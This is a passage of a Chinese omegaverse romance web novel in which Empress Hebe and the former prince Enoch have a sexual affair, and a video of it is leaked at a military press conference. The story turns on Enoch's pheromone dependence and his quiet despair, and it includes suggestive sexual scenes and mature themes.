是路易斯的事,唤醒了她一直深藏在心底的生存焦虑,她没有得到过来自亲人的毫无保留的爱,必须要很努力做到完美,才能得到祖父的一句夸奖,并且深深知道如果她没有价值,就一定会被抛弃。 以诺带着春日溪水的清朗明快的气息拥上来,环住皱巴巴的她,赫柏深深拥抱他,抱着浮木终于探出水面,大口呼吸赖以活命的空气。 “根本没那么严重,赫柏,你的身边有一个叛徒,你只用了十天就找到了人,你做得很好,这是偶发事件,这和你的政治能力,和你的身边人的忠诚度都没有必然联系,你完全不需要因为这件事焦虑自己做得不够好。” “我知道,我做得很好,只是有时候,很少的时候,会忘记,你提醒了我就记起来了。”赫柏抱着以诺,汲取他身上的气息,焦躁的情绪渐渐被抚平。 以诺抚着她的背,口吻冷静:“维托克医生说,你的alpha信息素堆积过量,会对你的身体产生不好的影响,暴躁易怒,思绪混乱等,都是alpha信息素的副作用。” 赫柏好笑:“所以呢,你要给我疏解吗?”只有alpha才能给omega疏解,把alpha信息素注入omega腺体中,帮助他们度过情热期,赫柏的第一反应是给他们都做个换腺手术,以诺就能给她疏解了。 “不,”以诺的声音,干净清澈毫无杂念,“我的意思是,你需要一场性。交。” 第43章 第43章错位爱情 “你说什么?” “实证表明性。交和暴力都是抒发alpha信息素的有效方式,我总是不希望你变成一个暴躁伤人狂的,所以,你需要的是一场性。交。” alpha的狩猎天性被激发,赫柏抓住以诺平整的腰部衬衫,双眼冒起瞳瞳火光。 有的事不能细想,一想就打开了潘多拉魔盒,坏的念头根本遏制不住往外涌,赫柏有种感冒发烧的眩晕感,抬起湿重的眼睫看着以诺。 “你认真的?” “我很认真。”以诺捧起她的脸,拇指抚过她的锋利的长眉,在眼角停下,按在那儿,没一会儿就沾出了半个指节的温热眼泪,“愿意吗?你的信息素堆积很严重,不能再拖了。” 他退开半步等待回答,把沾了眼泪的指节含进口中。 赫柏听见自己脑子里响起“嗡”一声,神差鬼使地摸向以诺的脖子,果然,那块抑制贴一碰就掉,“啪嗒——”,信息素无休无止地散逸出来。 “不——”赫柏双手捂住以诺的脖子,不成形的信息素瞬间沾了满手,从指缝里溢出来,她非常慌张,因为这是一个明显在发。情的omega,如果周围有什么alpha路过,一定会察觉出不对劲的。 在公众场合这样散发信息素,是一种引诱犯罪行为! “你还有没有新的抑制贴,快拿出来我帮你贴上……唔,以诺!”赫柏的嘴唇 被咬住,所有的话语都忘却,所有念头都清空,眼前只有以诺放大一万倍也毫无瑕疵的脸。 被拉进附近的厕所时只来得及捡起那块湿透的抑制贴,只有一个想法是她在替以诺销毁犯罪证据,虽然犯罪者本人根本没有在意。 “就,在这里吗?” 虽然研究所办公室大楼的厕所翻新过,给清洁工发放的工资也算物有所值,空气中飘散着小雏菊清洁剂的味道,但第一次即将开始人生第一次在公共厕所乱搞,而且是向来一丝不苟的以诺亲王带她进来的,这在赫柏心里掀起了惊涛骇浪。 以诺反手锁上隔间的门,同时一手解开皮带的搭扣,赫柏想要捂眼睛尖叫,快要流鼻血了,以诺把她的手拿下来,用什么东西绑住她的眼睛,滑溜溜凉丝丝的,是他的领带。 他今天的领带,是酒红色格纹,把她眼前的世界框成一个个暗色小格子,迷乱地旋转。 好奇怪的感觉,赫柏伸手去摸脑后的领带结。以诺是个很有腔调的人,从十几岁开始,衣柜里就摆着一水儿的重工礼服,日常穿最多的,还是不会出错的黑色西服,赫柏小时候,曾经踮脚在柜子里翻到很多五颜六色的领带,还有同样款式多样的袜子,一度认为他才是喜欢打扮的公主。 为了不弄到她的头发他系得很松,一扯就掉,但赫柏没有再碰那个松散的领带结,而是闭上眼睛,完全陷入黑暗,深深呼吸着充盈在狭小室内的omega信息素。 感受潜藏黑夜的危险,在平静中准备好撕咬的獠牙。 安静下来的赫柏实在很乖,以诺在亲吻那双红唇之间揉揉她的头发,无声夸赞她的乖巧配合。 晚上十点,有人晃动厕所大门,打电话的声音:“办公楼一楼厕所的大门好像坏了,今天早上还好好的,要叫维修人员来看看吗?” 清洁工的声音清清楚楚地传进厕所里,赫柏咬着以诺的肩头呜咽,狠狠揪他的头发让他倒吸一口凉气,咬牙用气声说:“赫柏,松手。” “怎么办啊。”赫柏松了手,揉了几下他被抓疼的头发,依旧绑着领带一张脸皱得像苦瓜,“不要被发现,我不想别人看见你现在的样子。” 虽然,她也没见到,她猜测以诺实际上有点害羞,一直没把她的领带扯下来。但他紧紧抱着她,身体和呼吸的温度诉说着他现在有多情。动。 “不会有人看见。”他边亲她的唇角边说。 赫柏实在是爽到没边了,在听见外面的人说“先不用管是吧,那我先下班了”之后,终于忍不住无所顾忌地叫出声。 反倒是以诺几次捂住她的嘴巴,在她摇头呜咽抗拒后缓缓放开,把捂嘴的东西换成一个温柔的吻。 “我爱你……我爱你,以诺。” 赫柏的眼泪浸湿了领带,在极度欢愉中头脑一片空白,浑身打着哆嗦,用兜不住涎水的嘴巴口齿不清地诉说爱慕,那是她写在基因中的神秘编码,赫柏爱以诺,生生世世,即使死亡也无法将他们分开,换个时间地点身份,在第一眼看见他的时候,还会爱上他。 赫柏看不见以诺的脸色,不知道他的双眼始终保持澄明,清醒地看着他们一起沉沦,在听到她力竭嘶哑的告白时,甚至呈现出一种神圣的悲悯。 以诺在悲悯自己的命运,赫柏的这句“爱他”,把他变成了笼子里的金尾雀,但他明知如此,甘之如饴。 就这样吧,他爱赫柏,他愿意把一切奉献给她,陪她完成一场年少的绮梦,他愿意跪在她的脚边,撕碎自己,给予她无上的欢愉。 等她再长大,等他像一块干涸的海绵,失去所有美丽和价值,他也会坦然迎接他的宿命,早在飞蛾扑向火焰那日就已经写下的,必死的结局。 时间过了很久很久,赫柏没有得到语言上的回应,但以诺非常耐心地对待她,为她擦拭秽物,穿好衣服,抱着她亲了她的额头。 对于以诺来说,这已经是充满爱意的回应了,赫柏因为信息素的明显疏解而心情很好,抱着以诺,摸向眼睛上的领带,沾满眼泪的领带又冷又黏,很不舒服。 “赫柏,再等等。”以诺按住她的手。 等他终于说“可以了”,赫柏揭开领带,以诺勉强穿好衬衫和西裤,双腿后弯跪坐在地板上,对她伸手苦笑:“我的腿有点没力气,可以麻烦你扶我一下吗?” 干嘛这么礼貌啊!赫柏心里腹诽,让他腿没力气的人本来就是她啊。她去把人扶起来,抱着以诺,把他抵在隔间的墙面上。 含着明亮而充满爱意的微笑,逡巡以诺布满红霞的脸,不让他眼神躲闪,亲他的眼睛鼻子和嘴唇。 “我刚刚都没有看见你的样子,好可惜,下次让我看见好不好?” “好。” 如果是伴随着宫廷古典音乐,在铺满丝绸床品的大床上,他确保自己的仪态没有问题,可以让她看见。 “好爱你。”赫柏靠在男人肩头,满足地嗅着他被标记后的气息,咬咬下唇,“我现在觉得整个世界都明亮了,再多的敌人,再多的挑战我都不怕,只要知道你爱着我,就有面对一切的勇气。” 以诺把她的黑发勾回耳后,看着她圆圆的嘴巴在一张一合说着非常可爱的话,心底一片酸软,“很晚了,我们先回去吧。” “是你想要回家洗澡吧,你可是有洁癖的欸,肯定受不了这样的地方啊。”赫柏帮以诺穿回搭在洗手台上的西服外套,假装没看到他嫌弃的样子,然后迅速挪开抵住大门的拖把,折返回去和以诺十指相扣。 实话实说,以诺不仅想要立即洗澡,而且想扔了身上的这套衣物,不会再穿下一次,望着外面的月色,他已经想不起来为什么要把赫柏拉进公厕,也许是因为他想要尽快把自己弄脏。 抛弃没有意义的矜持,尽快接受自己的新身份,赫柏的性。玩具。 赫柏抓着这个口子数落:“你这是不是叫又菜又爱玩,还蒙着我的眼睛不许我看呢,如果不是我的反应迅速,你刚刚就在隔板上一头撞晕了。” “那下次不来了?” “不,不不不,我开玩笑的,”赫柏挽着以诺的胳膊熟门熟路地撒娇,“你别这么小气嘛,你刚刚表现得,真的很棒!唔,我说真的,绝对不是假话。” 以诺浅笑,赫柏鬼鬼祟祟地凑近他:“你笑了,就是原谅我咯,那下次还有什么别的地方吗?你让我有个心理准备。” “下次再说。” 朝着以诺家走了一段路,赫柏突然惊醒,自己不能留在这儿,连忙打开通讯设备,艾琳给她发了好几条信息,她往以诺的脸颊上亲了一口,“我还有事情要处理,先走了,等到研究所和军方联合发布会的那天吧,我会出席的,到那天我一定尽力休假,和你好好待上几天。” 赫柏觉得很抱歉,因为刚刚标记了以诺,应该抱着脆弱的omega好好安抚,但她马上就要走了,真的很像那种不负责任的渣A。 以诺却反应淡淡,松开她的手:“去吧,我会想你的。”他捏了捏她的手腕。 “呜呜呜,我不舍得你。”赫柏走了两步小跑回来,撞进以诺怀里,“我想把你装进口袋里一起带走,你跟我走好不好……不,不行,我没说过这种话,你是从前的以诺上将,未来全世界闻名的天才设计师以诺大人,你完全拥有自己的人生……不要跟我走了。” 她清楚自己的劣根性,如果以诺真的变成笼中雀,她会失去兴趣,既然这样,她会帮助他永远处在高位,保持自己的仰望和崇拜,然后,永远爱他。 第44章 第44章不是偷情 以诺只是在赫柏过来时给予拥抱,沉默,温暖而用力的拥抱,好像只要她不说停止他就会一直抱着,直到天荒地老。 时间久到赫柏都觉得有点不合适了,毕竟是在大庭广众之下,晚上八九点,很可能有研究所的人在附近闲逛,以诺这是一点也不怕被别人看见么? “我们不是偷情,赫柏。”听到她的疑问,以诺闷笑一阵,望向她的眼睛藏了星星,“我不想跟你偷情。” 轮到赫柏变沉默,她得到了以诺的爱,然后呢,接下来的事情其实没有想过,她要想个办法, 让以诺光明正大地站在她身边,成为她的皇夫。 “不是偷情。”赫柏蹙眉想通了什么,重重点头,把明亮的笑容印在以诺脸上。 艾琳被皇帝临时安插了一项工作——查阅历年来皇室寡居姻亲的再婚情况,看看是否有可以借鉴的先例,艾琳硬着头皮把查阅到的资料呈现在陛下桌边。 “陛下,帝国三百多年历史十一任皇帝,72%丧偶和离异的皇室成员选择了再婚,但嫁入皇室的亲王和王妃,再婚的概率就明显降低,大概只有20%,原因在于一旦再婚就会自动脱离皇室成员身份,取消所有供养和津贴,还有社会舆论对这些成员非常不友好,对omega更甚,很多人跟他们再婚的家庭有着明显矛盾……以诺亲王,未必能够承受这样的舆论声讨。” 艾琳发现陛下自从那天在研究所回来,心情明显变好,对所有人维持着如沐春风的微笑,浑身散发着甜甜的恋爱气息,更像个二十岁的女孩了。 这本来是好事,可陛下她竟然询问皇室成员改嫁的事,着实让艾琳等人惊掉了下巴,他们一直以为陛下只是玩玩而已,没人想到她竟然是个情种,真的要和以诺亲王结婚。 陛下是个好皇帝,好老板,她的政绩,是所有内阁成员共同努力的作品,没有人希望她的皇冠上沾染污点,是的,污点,那个朗朗如月的男人,再怎么也是她姑姑的未婚夫,作为皇室成员“以诺亲王”生活了十几年。 “舆论声讨吗?这倒不是什么难事,既然你们能把对我的不好舆论压下去,对以诺的也可以吧,一样的工作流程嘛。”陛下用钢笔点点自己饱满的脸颊。 “可是……陛下,”艾琳重重吸了一口气,看着陛下这明显陷进去的样子,情急之下劝说道,“虽然历代皇室成员之间不乏通奸丑闻,但没有人会把这种事拿到台面上来说,更别说亲王是您曾经的姑父,是长辈……和他结婚,对您来说将是很大的污点!” 面对陛下逐渐变冷的神色,艾琳“噗通”下跪:“就算您今天将我革职,我也必须劝谏!您可以选择让‘以诺亲王’的身份假死,秘密和亲王在一起一辈子,就算所有人心知肚明,也无人敢置喙,但您如果非要和‘以诺亲王’结婚,就是亲手给自己染上污点,很多年之后,这仍然会是政敌攻击您的借口!作为您忠诚的属下,我不能看着这样的事发生。” 赫柏转着钢笔垂眸沉思,刘海遮住冷肃的眉眼,艾琳的心情越来越沉重。 “我只是有这个打算,先问问你从前的情况,你这么激动干什么?快起来吧,动不动就跪,我是什么暴君么?要你这么战战兢兢的。” 陛下的笑容实在阴郁,艾琳不敢多看,低头小声说:“陛下能想通就好,您还这么年轻,未来还会遇到很多优秀的人,我的意思是,这件事不妨缓上两年,如果两年后您还是很坚定地要和以诺亲王结婚,那时再行动也不迟。” 她隐晦地表示陛下应该给自己一个后悔的机会,年少时的爱恋来去如风,说不定哪天就不爱了,到那时婚姻只会是一道枷锁,她会怨恨以诺亲王引诱年轻的她吃下禁果、背负骂名,她会恨不得杀了碍眼的亲王来换取内心的平静,她只是不想让她后悔。 马术训练场上,赫柏只跑了一圈,就扔下马鞭,解开帽子,穿着一身骑装往躺椅坐下,翘起二郎腿看路易斯骑马。 是好不容易才抽出来的时间,艾琳建议她出门走走,可她骑在马上也觉得呼吸烦闷。 “陛下,您身体不舒服吗?”路易斯喘着气跑过来,蹲在她面前,阳光晒得眼睛睁不开却还是尽力仰着脸,长长的睫毛像两只颤翅的蝴蝶。 “没有不舒服。” “那您不开心吗?”路易斯把双手搭在躺椅边缘,和她的大腿外侧靠得很近,他双膝跪下努力仰头,赫柏幻视一只大狗在她面前吐舌头。 很多人以为她对以诺只是玩玩而已,包括艾琳,还有维托克,他们都跟她说过,她很容易移情别恋,赫柏认为这是一种偏见,凭什么这么轻易地对她下定义呢。 她对以诺的爱,充沛到她自己都觉得可怕,没有任何人能够理解。 但她此时有点烦躁,身边没有人能倾诉,忽然伸手抚摸了路易斯的脸,男孩眯起眼睛,像狗狗蹭主人那样亲昵地蹭向她的手背,让她感到舒适。 “我受伤歇了一个多月,医生终于批准骑马了,而且,还有陛下陪着我,我真的好开心呀,有陛下在身边的每一天,我都觉得很幸福,等以后我回国了,或是去了别的什么地方,我这辈子,都会记得陛下对我很好很好。” 路易斯亲昵地表白,天真和谄媚结合得恰到好处,并不让人讨厌,赫柏甚至感到心情愉悦,而且,她知道以诺和他相似的脸上,永远不会出现这样的神情,所以一时有些惊奇。 “陛下……”路易斯看赫柏没动,壮着胆子握住她的手。 “……放开我。” “陛下,请您先别动,那边有记者在偷拍。” 路易斯在赫柏身边坐下,把蜷起的手掌和脸一起贴在皇帝的大腿上,扮演一个缺乏体力,十分柔弱的omega,赫柏则就着他的姿势揽住他的肩膀,拍了拍。 “他们还在拍,”路易斯贴着深黑色骑装裤的纹路,轻轻磨蹭脸颊,勾起笑意,“赫柏姐姐,我闻到了你的信息素,是玫瑰汁液的芬芳,对不对?” “不对。” 赫柏看到记者已经被工作人员请走了,抬腿支开路易斯的身体,“我没有散发任何信息素,你是在污蔑我控制不住信息素,在公共场合耍流氓吗?” 魅魔路易斯被迫打断施法,坐在地上翘了翘嘴巴,“我错了嘛。” 可是刚刚有那么一小段时间,陛下的眼神很不对劲,分明就是被他蛊惑到了,路易斯想这样就好,在离开之前,他会再接再厉的。 转眼到了七月,距离上次研究所和以诺一别,又过去了两个月,赫柏不仅要收拾索菲亚的手尾,在六月二十九号,是她登基一周年的庆典,进行了很多场祭祀,参加了很多不同人组织的不同参会成员的庆典,接受了无数个直播采访和录播采访,整个人忙到灵魂出窍。 身体已经这么累了,晚上往床上一躺还是睡不着,翻来覆去地想念以诺,有以诺在她肯定能安然入睡。 以诺成为了横空出世的天才设计师,他设计的新型战机“赫柏号”代表了目前军队的最高战力,被夸赞“掀起划时代的军备革命”“极大震慑了加里南帝国的阿莱德娜女皇”,《帝国日报》用了一整个版面来称赞以诺设计师。 头版头条,是她登基一周年的新闻,第二版就是以诺的采访了,这一期《帝国日报》一经推出立即被抢空,赫柏用了一点小手段,把以诺的报道延后和自己的新闻一起刊出,并留下一张报纸,安置在办公室的抽屉里。 好幼稚啊,绝对不能让第二个人知道,皇帝用这么幼稚的方式谈恋爱。 赫柏在床上滚来滚去,不知多少次点开和以诺的聊天框,依然是一片空白,他们俩都不是喜欢用通讯设备聊天的人。 以诺会更喜欢她用写信的方式询问见面的时间地点,请她的侍臣去到他家门前,把信纸交给他的侍臣,然后他矜持地在信纸上用羽毛笔写下一个“可以”,约会的地点会是在漂浮着黑天鹅的垂柳依依的湖边,或是琴声悠扬所有人安静欣赏的餐厅。 “赫柏。” “我送了你礼物。” “收到的话,请给我回信。” 聊天框突然蹦出来三条信息,赫柏从床上坐起来大声尖叫,光着脚去寝室外面翻找礼物。 礼物实在是,太多了!很多民众给她写信,小孩子会送她手工课上编织的花朵,小镇的居民也会送来当地的特产之类的,赫柏请警卫检查过 后全部送到她的寝室外面,在睡不着的深夜一个个拆开。 周年庆典这几天的礼物尤其多,而以诺的礼物没有任何标识,赫柏甚至怀疑他会不会在快递单上写自己的本名。 “尊贵的,迷人的,可爱的赫柏纳塔利皇帝陛下,顺颂时宜,百事从欢——以诺斯宾塞敬呈。” 是命运的指引,让她一眼就看到了那个再平凡不过的包裹,以诺行云流水的笔触,写着祝福的话语。 赫柏跪坐在一地包裹之间,怀着无比憧憬的心态拆开,打开一个造价高昂的红木盒子,映入眼帘的是—— 一块湿透了的,散发着浓郁omega信息素的抑制贴。 以诺这跟寄给她一条滴水的内裤有什么区别! 第45章 第45章她的小狗 赫柏握着那块抑制贴在地上坐了很久很久,咬牙发抖,很想马上开飞船闯进研究所,又觉得自己这样就被撩到腿软实在窝囊,终于想起来跑去找手机,把那张抑制贴拍下来,发给以诺。 “我为什么收到了这个东西呀?是您放错了吗?/脸红害羞/光是看到都觉得很不好意思呢,这种东西,怎么可以乱放啊,如果让别的什么人看见,那可就麻烦了。” 她决定采用装傻大法,得到的是以诺的秒回。 “我想你了,赫柏。” 真诚是必杀技,赫柏被杀到在地上打滚,高举手机回复:“是怎么想的呀,是想让我抱你,还是亲你,还是,进入你的身体……告诉我吧,我很忙的,如果只是缺乏抚慰,我可以给你买一个最新型号的安抚机器人。” “都想。” 身体和心一样想念,只要她出现在他的面前,对他做什么都可以。这种近乎赤/裸的坦诚给予了赫柏强烈的安全感,也就放下装模做样的试探—— “我也想你,以诺。” 视讯电话打了过来,赫柏手一抖按下接听,同时一个鲤鱼打挺从地上坐起来,看见以诺时还在整理自己的头发。 以诺的睡衣扣子解开两颗,露出有点泛红的锁骨,他不太适应面对自拍镜头,长长的睫毛垂下,矜持微笑,“赫柏……”他又不说话了。 赫柏的眼睛都红了,这可是以诺啊,她最最崇敬的以诺亲王,竟然对她做出这么可爱,这么诱人的情态,想到这里她心中的恶念就无休无止地叫嚣,要在这块纯白画布上留下一点痕迹。 “是怎么想的呢,可以,让我看看么?” 以诺非常乖巧地点头,把手机镜头向下移,赫柏首先看到了整齐叠放在床边的裤子,然后才看到了他的腿。 只让她看了一眼,以诺就把镜头移上来,面色虽红却一派镇定,回答她的问题:“就是这么想的。” 这神态,这动作,这股清清冷冷的勾人劲儿,赫柏当时就想开飞船过去找他,但是念及明天安排得满满当当的工作列表,只能放弃这个念头,接下来的两天整个人都有点精神恍惚,数着日子熬到发布会那天。 军方和帝国军械研究所的联合发布会,宣布以诺作为主设计师研发的机甲正式进入军队,成为新一代空军的主要作战武器,也是研究所少有的公众开放日,欢迎记者和各行各业人士参观交流。 今天之后,“天才设计师以诺”的名号将会家喻户晓,彻底洗刷曾经的“通敌叛国”污名,所有人的敬爱,崇拜,追随,仰慕,这些以诺本就应该拥有的东西,将会再次回到他身上。 赫柏早就已经决定,要亲自见证这个以诺人生中非常重要的日子。 发布会当天。 以诺在见到赫柏之前增加了抑制剂的剂量。 赫柏为他治疗了一段时间,在她走后,他的信息素紊乱非但没有好转,反而更严重,他能感觉到自己确确实实已经变成一具人形玩具了,自从赫柏离开,没有一天能睡得安稳,在梦里赫柏手脚并用霸道地抱着他,像锁链一样缠在他身上,可是醒来身上只有纠缠成团的被子。 每天的床单都会湿透,他每天面不改色地把床单放进洗衣机和烘干机里,坐在凳子上发呆直到绿灯亮起,再把床单抱上楼,折叠整齐后放进壁橱里。 赫柏对他的情况似乎认知乐观,偶尔嘱咐他记得喝抑制剂,如果实在太难受的话,就去找她。 什么叫“实在太难受”?是他的身体如同欲望的无底洞,时时刻刻空虚得让他发疯,还是除了身体之外,全部思想都被赫柏占据,每天每天无休无止地想她此刻是开心还是难过,工作是否顺利,困难都解决了吗,因此辗转反侧,夜不能寐。 今天是发布会,赫柏会来,以诺喝了很多很多抑制剂,身体早就产生抗体,为了不在众人面前出丑也只能猛灌抑制剂,喝到后面有点过敏醉药,晕晕乎乎地下楼。 “亲王,您没事吧?”最后一步楼梯差点踏空,亚瑟搀扶他,电视上正在播放赫柏的新闻。 是记者的偷拍视角,马场附近,赫柏俯身抱着路易斯王子,亲昵地对他说话,错位角度看起来就像在吻他的脸。 亚瑟手忙脚乱地关掉电视,双眼泛红,“我知道您的情况,比陛下来前更严重了……您恨陛下吗?” 以诺摇头。 他恨过了,而他现在认输了,赫柏想要什么,他就给什么,连自尊的概念都不复存在,还有什么恨不恨的呢。 “亲王……您教我先爱自己再爱别人,可是您这样作践自己,难道是对的吗?为什么不告诉陛下呢,请她不要再捉弄您了。” “她只是一个顽皮的孩子,做了不恰当的行为,已经认识到错误,我不能让她感到愧疚,还有,因为我爱她。” “那她会坚定地爱你吗?” 亚瑟很想刺痛以诺亲王,叫他认清这个事实,如果陛下真的爱他,就不会像现在这样若即若离,空闲了逗弄一下,忙碌时便抛在脑后,好几个月不闻不问! “我接受一切后果。”赫柏爱或不爱都可以,继续使用他或是把抛弃他都可以,以诺只求她做出最让她快乐的选择。 亚瑟目送以诺离开,紧紧扣住楼梯扶手。 尊贵的以诺亲王啊,原来跟他是一样的,卑微祈求着陛下的爱的可怜虫!可他为什么还是羡慕他呢,羡慕他可以承受陛下送给他的痛苦,那也是他们之间深切的羁绊。 研究所的开放日,比平时热闹很多,每走几步就有人拦住以诺,询问是否能对他进行一个专访,以诺全部礼貌拒绝。 他要让赫柏来到时能够第一时间找到他。 “以诺亲王,我,我想跟您说一件事。” 是除了以诺以外,研究所的唯一一位omega成员,洛克,印象中是个很腼腆的男孩,以诺和他的交流很少。 洛克在办公区域的大楼外拦下以诺。 “您知道这件事吗?夏洛克他们买通了几个记者,要在等会儿的发布会现场,揭穿您和陛下的私情!那可是全世界直播,就算是陛下也没有办法立即切断直播画面……” 在以诺亲王本人丝毫没有察觉的情况下,研究所的同事们对他的遭遇义愤填膺,认为他一定是被陛下控制了。这么善良、美好的以诺亲王,怎么可以遭遇这样非人的恶行,可惜他们的力量实在微小,无法替他出头。 是夏洛克想到的这个招数,偷偷拍下几个以诺亲王和陛下卿卿我我的画面,替换掉等会要在记者面前播放的“赫柏号”宣传片,再买通几个记者在一团乱时坚持直播,把陛下丑恶的嘴脸记录下来,也许这个丑闻能在全世界引发轰动,掀起民愤 ,让皇帝下台。 洛克身为omega,觉得这件事很不对,他们虽然说着这是为了以诺亲王,但他知道,omega的名声多么宝贵,这件事到最后可能对皇帝没什么影响,而对亲王造成巨大的伤害。 洛克快速把事情经过叙述了一遍,“我已经尽力阻止了,但他们都不听我的,亲王,现在还有时间,您去以亲王的身份施压,叫他们停止这样做吧,他们一定会听您的!” 以诺亲王全程平静地听完他的话,说“洛克,谢谢你告诉我真相”,没有要行动的意思,洛克万分着急。 “记者们都在进场了,那是所有帝国的主流抱着记者,还有来自其他帝国的名记者,带着高清转播仪器,您要去阻止他们在这些人面前播放您和陛下亲近的视频呀!” 以诺却是诡异地一笑,“不用了。” “我和陛下,本来就不是在偷情。” “我不怕任何人知道,我爱陛下这件事。” 发布会上,以诺端坐席前,苍白的脸色被面前长枪短炮发出的闪光灯照亮,文森中将正在重新介绍他的身份,从前尊贵的上将,因伤光荣退役,现在最为权威的天才设计师。 “军方为了永远铭记以诺上将的功劳,决定在今日,授予他终身荣誉勋章。” 身后的大屏幕开始播放“赫柏号”的宣传片,赫柏的坐席和他之间只隔了希拉所长,她用那种亮晶晶的,充满崇拜的微笑看着他,和所有人一起等待他去接受勋章。 以诺想,如果自己是个缺乏勇气的人,当年就不会选择从军,到今天,他依然有勇气面对自己的命运,他被摧毁又重建后充满疼痛的身体,他痛恨又深爱的赫柏,他再也无法离开笼子的事实。 走出坐席,接受了文森送来的勋章后,以诺听见观众席一片惊讶的呼叫声。 身后的大屏幕开始播放视频,在夜晚研究所的小路上,他和赫柏深深拥抱、亲吻,别墅里,他们在各个地方拥抱,开着窗户的康复训练室里,他以极其不雅的姿势躺在床上,赫柏跪在床边按压他的腿,俯身亲吻他流泪的脸。 “快关掉!这是谁干的!给我关了!”希拉所长起身大骂。 台边等待的艾琳维持秩序,请所有记者不要再拍摄,停止直播,删掉刚才拍到的画面,“这是合成的假视频,我们会尽快抓捕幕后主使,所有传播造假视频的人都参与了犯罪!” 工作人员手忙脚乱地关闭视频,记者们窃窃私语,而刚刚重获新生的以诺上将,戴着他的终身荣誉勋章,一步步走到皇帝面前,跪下。 当着所有人的面尽力仰起上半身,勾着皇帝的后颈,送上缠绵的亲吻。 像小狗讨好他的主人。 第46章 第46章他其实不想活了 这是一个很色。情的吻,赫柏只感觉一团舌头塞进自己嘴里,搅动口腔内壁发出啧啧的水声,变故发生的太快,等她意识到这个勾着她脖子索吻的人是以诺,而且无数的摄像机在底下“咔嚓咔嚓”地拍照,只来得及把软成面条的人捞起来。 以诺的情况很不对,他的身体非常滚烫,离开她时唇上沾着几条银丝,他垂下眼睫遮挡迷离的双眼,被她安置在座椅上,像大型玩偶那样手脚胡乱摆放,等待主人来抱。 “以诺,你怎么了?” 艾琳已经在处理现场,安排记者离开,无关人等也在逐渐退场,虽然亲卫们逐一检查记者的摄像机,删掉视频,但可以想象视频片段早就已经在星网上满天流传了。 而赫柏只关心以诺,俯身探向以诺的脸,蜷起被烫到的手指:“你不舒服吗?” 以诺握住她的手指贴向自己的脸,闭着眼亲昵地轻蹭:“这不是你想要的吗?占有我,让我做你的小狗,赫柏。” “这不是我想要的,”赫柏意识到以诺不太对劲,半跪下去,握住他的手凝望他的脸,“我说过了,我不是想占有你,我爱你。” 很快会场里只剩下他们两个人,灯光刺眼,以诺金发耷拉地垂头,眨眨眼尾嫣红的眼睛,长久凝视赫柏的脸。 “都一样。”他喃喃自语。 不一样,不一样!赫柏无比烦躁地来回走动,她还在慢慢想办法,让以诺成为她光明正大的伴侣,但是今天之后他就会名声扫地,身上永远贴着“放荡的omega寡夫”的标签,甚至他的专业能力,他那么努力取得的研究成果,也会因为他们的裙带关系而备受质疑。 “赫柏,我想你。”以诺攥住她的手腕,一手扯松领带,他竟然想在这里!脏兮兮的会堂,无数生人的气息交杂,以诺凝望着她,慢慢分开双腿,西装裤中间有一块明显深色的印记,“来抱抱我,好不好?” 他实在称不上是正常,赫柏扯住他的肩膀往后一看,竟然是连抑制贴也没有贴,液体信息素不断溢出,沾湿了西服之下的白衬衫,赫柏只看一眼就被信息素攻击的眼冒金星,狠狠往腺体上咬了一口让以诺完全失去反抗的力气,把眼含春水眼泪汪汪的他带走。 诊所里,以诺昏迷在病床上,维托克眉头紧缩地看着血液化验单,“亲王的情况比我预估的更严重。” 他猜测以诺在被赫柏弄成信息素上瘾之前,身体就已经不正常了,不然正常情况下,即使是信息素上瘾,控制信息素的用量治疗一段时间也会有所好转。 “以诺的妹妹安妮塔公爵告诉我,他在第一次情热期前,被塞克姑姑灌了大量**,从此身体一直非常敏感……” 维托克瞪眼惊讶,赫柏今天穿了正式的礼服,他不敢再将皇帝臭骂一顿,却在心里默默为以诺亲王感到可怜,遇上了这么神经病的一家子,那么好的一个人,最终自己也被折磨成了神经病。 “……如果是这样的话,事情可就麻烦多了……” 维托克知道今天的新闻,赫柏面色不虞,长腿曲起靠在桌上,看外头山雨欲来的天色,维托克边打字开药边说:“没有人比亲王更了解自己的身体状况,他知道,并且接受了再也离不开您这个事实,就像他的身体残疾再也没办法完全康复,需要一辈子忍受康复训练这个事实一样,而您,又做了什么呢?您应该没有给出任何承诺吧,陛下。” “一次又一次被伤到,确信您是真的冷心冷情,于是只能把自己当成玩物,才能忘记和您纠缠不清的屈辱。” “您作为皇帝,和曾经的姑父通奸,是一件不好的新闻,但如果是放荡无耻的omega缠上您,那对您而言,就只是一件风流韵事,一碟微不足道的开胃菜。” “这种万念俱灰的状态,就像是在,献祭,对吗?”维托克推了推眼镜,“您没看出来吗?他已经不想活了。” 所以为什么不能爱她呢?就连她以为确认他爱她的那个节点,他说的话也只是“他认输了”。 赫柏抱着以诺,睡在自己棺材一样的寝殿里,她认为这个房间还有爷爷的鬼魂在回荡,在她睡不着的时候还能幻想爷爷痛骂她几句,不至于太无聊。 都是报应吧,她作恶多端,亲手杀死自己的爷爷和叔叔,所以老天让她永远得不到以诺的爱。 更让她感到无比狂躁的是,只要以诺真的铁了心要离开她,随时都可以,放弃他的生命,为什么不呢,竟然是因为她最痛恨的他的责任感,他的一颗堪比圣父的绝顶烂好人的心——他不想她难过。 “赫柏……”以诺醒了,在黑暗里亲她,寻着她的鼻息找到嘴巴,舌头扫过她的唇纹。 他慢慢蹭掉自己的裤子,贴近她…… 赫柏仰面躺着,眼泪滑进鬓发里,视野模糊不清,她应该是有快感的,但是那比起心里的痛苦实在太轻了,就像一碗苦药配的那一小粒糖果,毫无用处。 “赫柏,你怎么了?” 以诺在她身边躺下,抱着她,脑袋搁在她的肩窝里,汗津津的身体很快变冷,他本来也在哭,但是等他脸上的泪痕干涸后,赫柏还是在哭,他摸向她的脸。 他变得紧张,手捧着她的脸,颤巍巍地亲吻她的额头,“是哪里不舒服吗?还是头痛,要不要吃点止痛药?” 赫柏摇头,抱着他一直哭一直哭,以 诺无措地抚着她的背,一下下亲吻她的发顶,“到底是为什么呢?能告诉我吗?” “和我有关吗?” “我以诽谤罪把那些企图伤害你的人关进监狱,你会反对吗?” 那些都是他相处了大半年的同事,打着“为他好”的旗号,做着伤害他的事,如果以诺说一句原谅,不要这样,放了他们,赫柏真的会当场暴走。 “不反对,依据律法,给予他们惩罚就好。” 赫柏的气舒服了些,闷在他颈边很久,吸了吸鼻子:“我请希拉所长成立了一个新的项目,研发残疾人也能驾驶的战机,你回去帮忙好不好?我想让你拥有再次飞上天空的机会。” “那不切实际,赫柏,”以诺的声音清冷温柔,但就像一潭死水,没有任何曲调上的波澜,“为残疾人设计战机,注定没有量产的价值,你想要专门为我设计一辆战机吗?我不愿意。” 